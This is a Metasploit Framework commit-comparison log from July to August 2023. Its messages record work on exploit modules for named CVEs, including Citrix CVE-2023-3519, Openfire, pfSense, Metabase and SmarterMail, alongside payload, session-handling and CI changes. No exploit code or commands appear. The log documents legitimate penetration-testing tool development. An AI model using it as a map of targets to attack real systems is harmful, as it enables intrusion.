Compare commits

...

1762 Commits

Author SHA1 Message Date
adfoster-r7 3dc229f5a1 Land #18279, Revert Add Meterpreter sanity tests to CI 2023-08-10 19:22:04 +01:00
adfoster-r7 cdbd591f07 Revert "Add Meterpreter sanity tests to CI" 2023-08-10 19:08:09 +01:00
Metasploit 0a26ac2e5b automatic module_metadata_base.json update 2023-08-09 03:59:19 -05:00
cgranleese-r7 214c788ce7 Land #18232, metabase setup token rce (cve-2023-38646) 2023-08-09 09:44:53 +01:00
Metasploit c821d39bdb automatic module_metadata_base.json update 2023-08-09 03:41:32 -05:00
adfoster-r7 c4ed903da9 Land #18274, Update CVE-2020-14871 docs 2023-08-09 09:27:00 +01:00
wvu 3be876b9dc Update pam_username_bof.md 2023-08-09 00:24:53 -05:00
wvu 03c99660db Update pam_username_bof.rb 2023-08-09 00:22:57 -05:00
h00die e8ce0454cd review comments 2023-08-08 17:16:57 -04:00
h00die dca125963c metabase review comments 2023-08-08 17:16:57 -04:00
h00die f30c996340 remove comment 2023-08-08 17:16:56 -04:00
h00die 9516592eb6 metabase setup token rce 2023-08-08 17:16:56 -04:00
Metasploit 940496362c automatic module_metadata_base.json update 2023-08-08 12:47:51 -05:00
Jack Heysel 6e8d0b33df Land #18191, Improve post linux checkcontainer
This PR adds support for detecting whether a session is
running in a podman container and improves detection for
sessions running in Docker, LXC and WLS containers.
2023-08-08 13:26:01 -04:00
Metasploit a5cdbcaf20 automatic module_metadata_base.json update 2023-08-08 09:01:23 -05:00
adfoster-r7 814198dc66 Land #18264, Add 12.1 Targets for CVE-2023-3519 2023-08-08 14:37:44 +01:00
Spencer McIntyre baa0f3d5e3 Switch the fingerprint resource for v12 compat
Switching to use citrix-fonts.css allows the technique to work for 12.x
and 13.x.
2023-08-08 08:57:17 -04:00
Spencer McIntyre 72092392e9 Fix check method for v12, add automatic targeting 2023-08-08 08:57:11 -04:00
Spencer McIntyre 760bc3fbfb Add a target for 12.1-64.17 2023-08-04 16:21:21 -04:00
Spencer McIntyre c3324ab002 Add a target for 12.1-65.25 2023-08-04 15:14:24 -04:00
dwelch-r7 9e7960fd9f Land #18224, First iteration of specs for SSH Login scanner 2023-08-04 16:22:37 +01:00
cgranleese-r7 45c9ce86f4 Land #18231, fix for issue #18219, allow index selection for favorites 2023-08-04 15:08:37 +01:00
cgranleese-r7 897d5d1753 Land #18260, Update aws instance connect EC2_ID validation 2023-08-04 14:41:18 +01:00
adfoster-r7 a3d129fe9f Land #18244, Update payload size warnings to errors on CI 2023-08-04 14:10:14 +01:00
adfoster-r7 61a4974670 Update aws instance connect EC2_ID validation 2023-08-04 14:02:06 +01:00
cgranleese-r7 dfe030cc99 Update payload size warnings to errors on CI 2023-08-04 13:56:31 +01:00
dwelch-r7 6f7ebb3824 Land #18210, Add Meterpreter sanity tests to CI 2023-08-04 13:24:39 +01:00
adfoster-r7 a543199ee3 Land #18220, Add error handling when loading payloads 2023-08-04 12:07:39 +01:00
adfoster-r7 b1d6983fad Land #18228, Adds Rubocop rule to detect invalid pack/unpack directives 2023-08-04 11:20:18 +01:00
Metasploit 4ebf4fd52e Bump version of framework to 6.3.29 2023-08-03 17:39:55 -05:00
Jeffrey Martin a8583438c1 fix nokogiri version out of sync in lock file 2023-08-03 17:31:01 -05:00
Metasploit 6c6a553284 automatic module_metadata_base.json update 2023-08-03 14:46:55 -05:00
Jeffrey Martin 5a3a08ca2a Land #18255, Remove python2 from docker setup 2023-08-03 14:24:27 -05:00
adfoster-r7 756d746abe Remove python2 from docker setup 2023-08-03 20:20:13 +01:00
Spencer McIntyre ab2b1b731d Land #18254, remove double refs in Gemfile.lock
remove double reference in Gemfile.lock
2023-08-03 14:47:15 -04:00
Jeffrey Martin 776b4918a7 remove double reference in Gemfile.lock
merge introduced double entries for aws-sdk-ec2instanceconnect
2023-08-03 13:44:07 -05:00
Spencer McIntyre e3d4a8ccd9 Land #18234, Fix for issue #13724
Fix for issue #13724: fix crash for unloaded user32.dll: add library loading
2023-08-03 14:32:33 -04:00
Metasploit bd36c80a2a automatic module_metadata_base.json update 2023-08-03 12:27:01 -05:00
Christophe De La Fuente 4a7836055e Land #18211, Subrion CMS v4.2.1 RCE 2023-08-03 19:03:44 +02:00
Christophe De La Fuente 00006fffae Land #18240, Citrix RCE - CVE-2023-3519 2023-08-03 18:55:48 +02:00
Spencer McIntyre 67e1c57b7c Fix some buffer encoding issues 2023-08-03 12:47:14 -04:00
cgranleese-r7 61f70e09f6 detect invalid Pack/Unpack directives 2023-08-03 17:39:21 +01:00
Metasploit 7fee5a0761 automatic module_metadata_base.json update 2023-08-03 11:31:10 -05:00
adfoster-r7 9a3d068c17 Add apt-get install options for y and no-install-recommends 2023-08-03 17:12:00 +01:00
adfoster-r7 d8dc189168 Add Meterpreter sanity tests to CI 2023-08-03 17:11:44 +01:00
Spencer McIntyre 39382c4652 Land #17600, Add AWS Instance Connect Sessions
Implement AWS Instance Connect Sessions
2023-08-03 12:06:29 -04:00
cgranleese-r7 5756241fb3 Land #18223, Fix broken msfconsole histories when switching between shell sessions 2023-08-03 16:40:01 +01:00
Spencer McIntyre 034fcdde59 Drop the logic to filter repeated error messages 2023-08-03 10:51:58 -04:00
Ismail Dawoodjee 74e886dd68 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 20:58:22 +06:30
D00Movenok 3ea9c0100b fixed windows/x64/messagebox CachedSize 2023-08-03 17:10:11 +03:00
Metasploit 4360821d38 automatic module_metadata_base.json update 2023-08-03 07:15:27 -05:00
Ismail Dawoodjee 31da1f890d Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 18:29:21 +06:30
cgranleese-r7 49c5b1df64 Land #18203, Fix libssh_auth_bypass crash on newer versions of Ruby 2023-08-03 12:51:36 +01:00
cgranleese-r7 b44c08e5f1 Land #18248, Fix bootsnap warning when booting msfrpc service 2023-08-03 12:46:15 +01:00
cgranleese-r7 265cec01ae Land #18249, Give better error messages when failing to load mettle extensions 2023-08-03 12:40:03 +01:00
Ismail Dawoodjee 1c075f659c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 10:16:07 +06:30
adfoster-r7 a643fa517a Give better error messages when failing to load mettle extensions 2023-08-02 23:03:27 +01:00
Spencer McIntyre 930c90c3ac Update all targets so the stack can be relocated 2023-08-02 14:49:04 -04:00
Metasploit 1943892aef automatic module_metadata_base.json update 2023-08-02 13:02:12 -05:00
Spencer McIntyre b365ab7d10 Add a target for 13.1-37.38 2023-08-02 13:57:53 -04:00
adfoster-r7 9a40e2612b Land #17129, Add OSX Aarch64 Payload support 2023-08-02 18:37:56 +01:00
Spencer McIntyre 5d0b6e1fbc Add a target for 13.0-91.12 2023-08-02 12:48:34 -04:00
adfoster-r7 67770d5684 Fix bootsnap warning when booting msfrpc service 2023-08-02 17:35:11 +01:00
ismaildawoodjee 19dcc2d674 Move module and documentation from linux/http to multi/http 2023-08-02 10:10:27 -04:00
Ismail Dawoodjee 888091dfe4 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-02 20:21:31 +06:30
usiegl00 dd7b50d292 Merge pull request #1 from adfoster-r7/update-osx-templates-makefile-and-compile-binaries
Update osx templates makefile and compile binaries
2023-08-01 19:09:19 -07:00
adfoster-r7 89cd524acb Update osx templates makefile and compile binaries 2023-08-02 01:26:18 +01:00
RageLtMan f0c853073e Address most of @adfoster-r7's 202307 review 2023-08-01 15:04:58 -04:00
Jeffrey Martin 5c67f3231b add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:58 -04:00
Grant Willcox f95a39254a Bump up dependency versions 2023-08-01 15:04:57 -04:00
Spencer McIntyre 396029a58e Fix connectivity issues
The connection needs to slowly send data to the remote end for
stability. Additionally, the `exit` command should be issued when
closing the connction so it is reset back to the logon prompt.
2023-08-01 15:04:32 -04:00
Spencer McIntyre cd70044e36 Automatically login to the serial connection 2023-08-01 15:04:32 -04:00
Spencer McIntyre 18b6b3ef0b Remove the Windows module
Windows shells require an extra configuration that when present still
doesn't offer either the cmd.exe or powershell session that MSF expects
but rather a SAC shell.
2023-08-01 15:04:32 -04:00
Spencer McIntyre 1a3b579cd9 Cleanups and drop INSTANCE_PORT 2023-08-01 15:04:32 -04:00
RageLtMan 2dd9524b2b AWSSSM: hint at alternative command docs 2023-08-01 15:04:32 -04:00
RageLtMan f8c736589f AWSIC: fix comm_string 2023-08-01 15:04:32 -04:00
RageLtMan dc1ca7aeff Fix-up per @adfoster-r7 2023-08-01 15:04:32 -04:00
RageLtMan dd2ccb3750 AWSOOB: add references, cleanup ssm_enum name 2023-08-01 15:04:32 -04:00
RageLtMan 7290a61853 AWSIC: Address @adfoster-r7's comments 2023-08-01 15:04:32 -04:00
RageLtMan 03f6bf1c84 AWSIC: Only try to get session once per handler
Import @smcintyre-r7's fix for multiple session attempts in SSM
2023-08-01 15:04:32 -04:00
RageLtMan 69ae14ec62 AWSIC: payload uri cleanup 2023-08-01 15:04:32 -04:00
Jeffrey Martin eaa4768547 add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:30 -04:00
RageLtMan 2352ce6740 Implement AWS Instance Connect Sessions
AWS EC2 Nitro instances (and possibly others) support serial proxy
over SSH using the Instance Connect API:
https://docs.amazonaws.cn/en_us/AWSEC2/latest/UserGuide/
connect-to-serial-console.html

This process consists of sending an SSH pubkey to the serial proxy
control plane, connecting to a well-known URL with the instance ID
and port number as username, and the SSH private key as credential.
The resulting session is a "fragile" SSH context which does not
tolerate Channel-closing, requiring some special handling in Msf to
safeguard the initial Net::SSH::CommandStream.

Implement a BindAwsInstanceConnect Handler which loads an SSH key
from the local FS or generates a new one on the fly, passes the
pubkey to the InstanceConnect API, and then establishes SSH comms
with the InstanceConnect SSH proxy.

Implement a AwsInstanceConnectBind to handle resulting connetions,
derived from SshCommandShellBind, with an updated #bootstrap which
avoids meddling with the fragile CommandStream/Channel.

Testing:
  Got serial console to the ttyS0 login prompt of a Nitro EC2 VM.
  Logged in using previously-known credentials.
  Verified console operations.

Notes:
  Handler keeps firing, same as the SSM session concern.
  There is a limit to the number of sessions which an instance can
hold (possibly only one).
2023-08-01 15:04:03 -04:00
Spencer McIntyre 692c625752 Add module docs 2023-08-01 12:28:13 -04:00
Spencer McIntyre eb5be5746c Add a basic check method to detect Citrix 2023-08-01 12:17:30 -04:00
cgranleese-r7 cd8cd0a52b Land #18243, Fix appscan import failure on empty proof 2023-08-01 15:10:06 +01:00
adfoster-r7 5f9d131cdd Fix appscan import failure on empty proof 2023-08-01 14:31:48 +01:00
Metasploit b875b455f7 automatic module_metadata_base.json update 2023-08-01 08:09:04 -05:00
Christophe De La Fuente f07578b4b4 Land #18209, Fix bypassuac_comhijack module crash 2023-08-01 14:52:41 +02:00
Ismail Dawoodjee 11fb61c3b6 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-01 14:24:37 +03:00
usiegl00 c028d33cae Update OSX AARCH64 Stager
This fixes an issue with the stager size in the osx aarch64 payloads. It
also adds the source and Makefile for template_aarch64_darwin.bin
2023-07-31 20:30:30 -07:00
Spencer McIntyre f787bcd04f Define the space for the payload 2023-07-31 18:06:38 -04:00
Metasploit 8b8acadc9c automatic module_metadata_base.json update 2023-07-31 16:53:39 -05:00
Spencer McIntyre de6508c3e3 Initial commit of CVE-2023-3519 2023-07-31 17:30:52 -04:00
adfoster-r7 b979217227 Land #18239, Add version numbers to apache nifi rce module 2023-07-31 22:28:52 +01:00
h00die b2869a5550 version numbers for apache nifi rce 2023-07-31 17:16:26 -04:00
h00die 5d9a65eeb0 version numbers for apache nifi rce 2023-07-31 16:14:57 -04:00
adfoster-r7 89378d54c8 Land #18238, fix bug scanner credential enumeration bug 2023-07-31 16:55:19 +01:00
Dean Welch 9932aaaaaa Add specs for resetting password list when username is specified 2023-07-31 16:22:08 +01:00
Dean Welch 6c367f39c8 Reset password list file descriptor for later use 2023-07-31 15:42:25 +01:00
Metasploit 7df5ae0a62 automatic module_metadata_base.json update 2023-07-31 08:41:50 -05:00
Christophe De La Fuente a7402fb5f1 Land #18205, Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-31 15:15:07 +02:00
Christophe De La Fuente 56661f49ee Add a comment explaining why the Windows target is disabled 2023-07-31 15:13:35 +02:00
ismaildawoodjee 154387f99a Add additional installation instructions and scenarios 2023-07-30 07:28:16 -04:00
D00Movenok a3f52672da Fix crash for unloaded user32.dll: load library.
Co-authored-by:  ksen-lin <37420872+ksen-lin@users.noreply.github.com>
2023-07-30 00:50:04 +03:00
usiegl00 9019b51eaa Update AARCH64 Shellcode Generation
This updates the aarch64 payloads to include comments with the
corresponding instructions for each little-endian integer. It also fixes
the debug output for x64 payloads under rosetta.
2023-07-29 08:26:56 -07:00
Ismail Dawoodjee aeb8cd3971 Use uri variable instead of hardcoding it - 2nd instance
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:30:42 +03:00
Ismail Dawoodjee 207d00b73c Use uri variable instead of hardcoding it
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:29:06 +03:00
ismaildawoodjee 06db7dae40 Change parsing method for version number 2023-07-28 16:17:58 -04:00
Ismail Dawoodjee c4d089b884 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-28 23:13:11 +03:00
Ege Balcı 0996938113 Add note for Windows compatibility 2023-07-28 17:06:38 +02:00
Ege Balcı c509b7b341 Comment out Windows target related lines 2023-07-28 17:06:21 +02:00
Metasploit bcda3e8228 automatic module_metadata_base.json update 2023-07-28 08:22:17 -05:00
ErikWynter ad1add1dc3 fix for issue #18219, allow index selection for favorites 2023-07-28 16:13:51 +03:00
Christophe De La Fuente 0c1d945861 Land #18221, wdmycloud unauthenticated cmd injection - CVE-2016-10108 CVE-2018-17153 2023-07-28 14:55:50 +02:00
ErikWynter 40ef9d496a add docs for wd_mycloud_unauthenticated_cmd_injection 2023-07-28 10:16:50 +03:00
Ege Balcı 225a33995a Merge branch 'rudder_server_sqli_rce' of github.com:egebalci/metasploit-framework into rudder_server_sqli_rce 2023-07-28 00:54:29 +02:00
Ege Balcı 6b11439fa1 Remove basic auth and API_USER/PASS options 2023-07-28 00:44:44 +02:00
Ege Balcı 5d00f882ad Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-07-27 21:58:06 +00:00
ErikWynter f79b4331b8 code review fixes for wd_mycloud_unauthenticated_cmd_injection 2023-07-27 23:09:50 +03:00
Ismail Dawoodjee f3e1fccd0c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-27 22:17:46 +03:00
Metasploit 1390d50ca4 Bump version of framework to 6.3.28 2023-07-27 12:09:19 -05:00
Metasploit b65115e97f automatic module_metadata_base.json update 2023-07-27 11:11:44 -05:00
cgranleese-r7 055206a11b Land #18225, Fix invalid references in modules 2023-07-27 16:56:11 +01:00
adfoster-r7 449af8daa7 Fix broken msfconsole histories when switching between shell sessions 2023-07-27 16:12:57 +01:00
adfoster-r7 f3adc3f79f Fix invalid references in modules 2023-07-27 16:02:37 +01:00
Rory McKinley 0453877fee First iteration of specs for SSH Login scanner 2023-07-27 15:29:02 +02:00
Ege Balcı 103f9a3f60 Update install instructions and scenario 2023-07-26 18:08:54 +02:00
Ege Balcı ca9601bb58 Fixed check method and targets 2023-07-26 18:01:26 +02:00
Ege Balcı 5b5f666256 Make rubocop happy 2023-07-26 16:26:18 +02:00
Ege Balcı 006831938d Adjust targets 2023-07-26 16:26:18 +02:00
Ege Balcı f5e91f686c Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:18 +02:00
Ege Balcı d50fceca40 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 1b52c7c8ba Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı bc58254db8 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 00f2fe03be Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı fa3638b10e Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı d6328edc27 Make rubocop happy 2023-07-26 16:26:17 +02:00
Ege Balcı 5018c0cdc5 Add documentation 2023-07-26 16:26:17 +02:00
Ege Balcı 47f48e8adb Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-26 16:26:17 +02:00
ErikWynter 53b8653ac7 add wd_mycloud_unauthenticated_cmd_injection 2023-07-26 17:24:44 +03:00
Dean Welch d9817e825e Add error handling when loading payloads 2023-07-26 12:01:46 +01:00
ismaildawoodjee b7b11373f5 Use full_uri for the payload URI 2023-07-25 22:53:11 -04:00
Ismail Dawoodjee 7ad7c40e40 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-26 05:27:12 +03:00
Spencer McIntyre 01b9d41ed1 Land #18213, Fix evasion windows syscall inject
Fix evasion windows syscall inject module crash
2023-07-25 16:30:59 -04:00
Ismail Dawoodjee 867282ba96 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 23:09:30 +03:00
ismaildawoodjee 671a90ee58 Put checks for website requests and change failure message 2023-07-25 16:08:25 -04:00
Metasploit 29e8c36214 automatic module_metadata_base.json update 2023-07-25 11:02:17 -05:00
Christophe De La Fuente c7f8ce5acd Land #18199, VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887 2023-07-25 17:45:30 +02:00
Ismail Dawoodjee 78c1f75f2a Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 18:01:08 +03:00
ismaildawoodjee e9f53bd195 Use full_uri instead of piecing together a full URI 2023-07-25 11:00:21 -04:00
Metasploit 730d774e7e automatic module_metadata_base.json update 2023-07-25 09:31:21 -05:00
cgranleese-r7 a244c6ff37 Land #18142, WordPress File Manager Advanced Shortcode Unauthenticated RCE [CVE-2023-2068] 2023-07-25 15:15:22 +01:00
cgranleese-r7 52b417b1af Update documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md 2023-07-25 14:06:45 +01:00
h00die-gr3y 43056ad621 removed powershell mixin 2023-07-25 14:06:45 +01:00
h00die-gr3y c1d84e950c Update based on bwatters-r7 comments 2023-07-25 14:06:44 +01:00
h00die-gr3y 45eacec846 Updated module with WordPress check 2023-07-25 14:06:44 +01:00
h00die-gr3y a3daab88e6 Added documentation and updated exploitable plugins list 2023-07-25 14:06:42 +01:00
h00die-gr3y cda6ab5960 init commit module 2023-07-25 14:06:29 +01:00
adfoster-r7 fa97281267 Add documentation on building and testing vulnerable targets 2023-07-25 13:48:38 +01:00
ismaildawoodjee e2a0405975 Merge branch 'subrion_cms_file_upload_rce' of github.com:ismaildawoodjee/metasploit-framework into subrion_cms_file_upload_rce 2023-07-25 03:49:13 -04:00
ismaildawoodjee 3ce382dcc2 Fix issues with msftidy_docs.rb 2023-07-25 03:48:58 -04:00
Ismail Dawoodjee a709c4c010 Update modules/exploits/linux/http/subrion_cms_file_upload_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-24 20:36:28 +03:00
adfoster-r7 49f2d1c3a9 Fix evasion windows syscall inject module crash 2023-07-24 16:15:51 +01:00
ismaildawoodjee 568849fad3 Add scenario for Ubuntu 20.04 2023-07-24 11:03:49 -04:00
ismaildawoodjee 4e16307165 Add module and documentation for Subrion CMS v4.2.1 RCE 2023-07-21 17:22:58 -04:00
Jack Heysel 586971c1fd Fix incomplete copy pasta in docs 2023-07-21 14:38:07 -04:00
adfoster-r7 c26d44a177 Fix bypassuac_comhijack module crash 2023-07-21 16:46:43 +01:00
Metasploit 69cebde238 automatic module_metadata_base.json update 2023-07-21 06:15:43 -05:00
adfoster-r7 f287f50be7 Land #18187, Fixes incorrect usage of pack/unpack directives 2023-07-21 11:40:02 +01:00
dwelch-r7 1af22cfd22 Land #18096, Add initial proxies datastore support for kerberos workflows 2023-07-21 11:37:04 +01:00
adfoster-r7 08a2a293a9 Add proxies datastore support to kerberos 2023-07-21 11:19:50 +01:00
Jack Heysel ee26e7f926 Rubocop fixes 2023-07-20 16:40:28 -04:00
Jack Heysel 421b06119f Update docs 2023-07-20 14:55:27 -04:00
Jack Heysel c48346413c Fixed payload and verion detection 2023-07-20 14:44:56 -04:00
Metasploit b4ec01de83 Bump version of framework to 6.3.27 2023-07-20 12:14:17 -05:00
adfoster-r7 2ae6688815 Fix libssh_auth_bypass crash on newer versions 2023-07-20 12:29:21 +01:00
Jack Heysel d03157fcc1 Installation instructions 2023-07-19 14:23:17 -04:00
jvoisin 0df2f57124 Fix a typo 2023-07-19 19:47:17 +02:00
Julien Voisin d5ca174e1e Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-19 17:46:27 +00:00
h00die 530934f78a review comments 2023-07-19 11:42:47 -04:00
cgranleese-r7 8e0a909b18 Fixes incorrect usage of pack/unpack directives 2023-07-19 11:39:00 +01:00
Metasploit b4991a97d0 automatic module_metadata_base.json update 2023-07-18 20:26:47 -05:00
bwatters 01434662fa Land #18182, Add module and doc for cve-2023-26876
Merge branch 'land-18182' into upstream-master
2023-07-18 20:10:47 -05:00
Metasploit a6e4d60457 automatic module_metadata_base.json update 2023-07-18 18:40:14 -05:00
bwatters 297c484a1c Land #18173, Add Openfire Authentication Bypass RCE [CVE-2023-32315]
Merge branch 'land-18173' into upstream-master
2023-07-18 18:13:20 -05:00
Metasploit 1e2a5a5c11 automatic module_metadata_base.json update 2023-07-18 08:41:15 -05:00
cgranleese-r7 a0f04a7018 Land #17681, Add datastore option for Jenkins home directory 2023-07-18 14:17:15 +01:00
Joshua Rogers d9e23a5c67 Update modules/post/multi/gather/jenkins_gather.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-07-18 14:02:27 +02:00
h00die-gr3y 7f35abff86 fixed the invalid character at the store_valid_credential‎ function 2023-07-18 08:38:06 +00:00
rodnt ddb1cc0497 Fix all warns from msftidy rename the docs with the correct name 2023-07-17 23:57:39 +00:00
h00die-gr3y 0ff2ca4f40 updates based on latest comments 2023-07-16 18:43:21 +00:00
jvoisin 2efcbbb772 Add docker detection via the old .dockerinit file 2023-07-16 18:12:11 +02:00
jvoisin 1f2112c5c1 Add podman detection via an environment variable 2023-07-16 18:11:11 +02:00
jvoisin f46641f479 Improve LXC detection
See https://github.com/silverwind/ansible/commit/d649d24be2ed36ff8da7ecbd57b6bb25a9a3b745
2023-07-16 18:07:59 +02:00
jvoisin 2e26e7c98c Add detection for WSL 2023-07-16 18:04:12 +02:00
jvoisin 04438920d5 Add Podman detection
See https://github.com/containers/podman/issues/3586#issuecomment-661918679
2023-07-16 18:01:06 +02:00
H00die.Gr3y f608424242 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-07-15 12:02:22 +02:00
H00die.Gr3y dfcb52d189 Merge pull request #1 from bwatters-r7/land-18173
Adjust files to be better shared
2023-07-15 11:46:41 +02:00
rodnt d7b0e94729 fix made at the request of bwatters-r7 2023-07-14 21:34:32 +00:00
Jack Heysel 11d3248532 Land #18186, Add syntax highlighting to wiki
This PR adds highlining to multiple code snippets in the wiki.
2023-07-14 14:53:38 -04:00
bwatters b15d595de2 Adjust files to be better shared 2023-07-14 12:47:04 -05:00
adfoster-r7 f0f2314da9 Add syntax highlighting to multiple code snippets 2023-07-14 11:52:47 +01:00
rodnt 1e75365f8e Update with all changes proposed by smcintyre-r7 2023-07-13 23:38:55 +00:00
Metasploit 7bebee0f42 Bump version of framework to 6.3.26 2023-07-13 12:13:12 -05:00
rodnt 3f0d0ee34c Merge branch 'rapid7:master' into piwigo_cve_26876 2023-07-13 09:59:43 -03:00
rodnt fb8947aa49 change the comment at mysql image 2023-07-13 12:58:30 +00:00
rodnt 4dc6e59fa3 bwatters-r7 suggestions were applied. 2023-07-13 12:51:34 +00:00
Metasploit 7950db3358 automatic module_metadata_base.json update 2023-07-12 13:53:26 -05:00
101719434+rodnt@users.noreply.github.com 5b638bb37b add module and doc for cve-2023-26876 2023-07-12 15:45:40 -03:00
Jack Heysel 10c1b79c37 Land #17861, pfSense Config Data RCE as root
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
2023-07-12 14:32:06 -04:00
emirpolatt 34f25fbb65 pfSense Config Data Remote Command Execution as root (CVE-2023-27253) Module 2023-07-12 13:27:02 -04:00
adfoster-r7 6b06b77b5a Land #18181, Change dead links to live links, in documents 2023-07-12 17:57:05 +01:00
hahwul 3236aaf6c3 Change dead links to live links, in documents 2023-07-13 01:06:34 +09:00
Metasploit 27638d7409 automatic module_metadata_base.json update 2023-07-10 18:19:51 -05:00
adfoster-r7 5cb5c18550 Land #18170, Add module for SmarterMail Build 6985 - dotNET Deserialization Remote Code Execution (CVE-2019-7214) 2023-07-10 23:56:09 +01:00
Metasploit 917adffb83 automatic module_metadata_base.json update 2023-07-10 17:46:41 -05:00
Jack Heysel bd004e0831 Land #18178, update refence format entry
This PR updates a reference on exploit/windows/smb/ms08_067_netapi
to the new URL format.
2023-07-10 18:19:52 -04:00
Jeffrey Martin 3635ce9c03 update reference format for entry in rapid7.com 2023-07-10 16:54:42 -05:00
Jack Heysel 420147d02e Land #18164, WooCommerce Payments auxiliary module
This module exploits an auth bypass and priv esc vulnerability
in order to create an admin wordpress user.
2023-07-10 17:19:56 -04:00
jheysel-r7 5261d842bc Update documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md 2023-07-10 14:18:50 -04:00
adfoster-r7 c3a0b0b1cb Land #18177, update the wiki to use https instead of http 2023-07-10 10:46:29 +01:00
ismaildawoodjee 025b37ce62 Replace other stale http:// links with https:// 2023-07-10 03:29:08 -04:00
h00die d6911f6b13 add new api endpoint, and checks for multiple versions 2023-07-09 19:48:16 -04:00
ismaildawoodjee 2aea7b2fda Change exploit template comment header from http to https for Msftidy
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR #18170, commit hash ad0d3e79, where Msftidy lint test fails
* to pass, but in the next commit 591fee18, the test passes.
2023-07-09 15:56:08 -04:00
Ismail Dawoodjee 0a9af48662 Merge branch 'rapid7:master' into smartermail_rce 2023-07-09 17:48:49 +03:00
h00die-gr3y c34779a5f1 updates based on comments of jvoisin and adfoster-r7 2023-07-09 12:20:58 +00:00
ismaildawoodjee e61342afac Proper error handling for closing TCP socket and used Rex exceptions 2023-07-09 07:25:09 -04:00
h00die-gr3y a3ea55f2a6 added documentation 2023-07-08 12:30:54 +00:00
h00die-gr3y 8edbf73b6f first release exploit module 2023-07-08 09:48:17 +00:00
adfoster-r7 b04ff3c579 Land #18172, Tidy up capture plugin specs 2023-07-07 17:12:21 +01:00
Rory McKinley 5974801e14 Tidy up plugin specs 2023-07-07 17:14:29 +02:00
ismaildawoodjee 1706812099 Implemented requested changes
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket

* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
  for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
2023-07-07 04:14:20 -04:00
Metasploit a0bdbce3c9 Bump version of framework to 6.3.25 2023-07-06 17:49:06 -05:00
Jeffrey Martin 00095fa495 update Pro version docs for 4.22.1 release 2023-07-06 15:02:56 -05:00
Grant Willcox 56cba64e4a Land #18169, Add centralized Metasploit plugin documentation 2023-07-06 14:11:51 -05:00
Grant Willcox d16f38a59c Add command syntax for captureg command reference 2023-07-06 13:14:49 -05:00
Grant Willcox 914818d372 Remove extra character from thread description. 2023-07-06 13:14:14 -05:00
adfoster-r7 bfcd5d0466 Add centralized Metasploit plugin documentation 2023-07-06 19:00:33 +01:00
Ismail Dawoodjee f959dee046 Change module name
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:50:44 +03:00
Ismail Dawoodjee 24ef4e1b90 Update documentation/modules/exploit/windows/http/smartermail_rce.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:49:49 +03:00
Grant Willcox 81cf6c2a09 Fix up credential storing code 2023-07-06 10:43:20 -05:00
ismaildawoodjee 591fee1850 Fix msftidy complaining about https:// URL scheme in Line 2 2023-07-06 11:01:54 -04:00
Grant Willcox c3aefe577b Fix url_root loop code and user creation code 2023-07-06 09:36:19 -05:00
ismaildawoodjee ad0d3e79a9 SmarterMail RCE module and documentation 2023-07-06 08:00:28 -04:00
adfoster-r7 88a539a82c Land #18144, update capture plugin to be more helpful, and add documentation 2023-07-06 11:17:14 +01:00
Metasploit e3bdb7a917 automatic module_metadata_base.json update 2023-07-06 02:31:54 -05:00
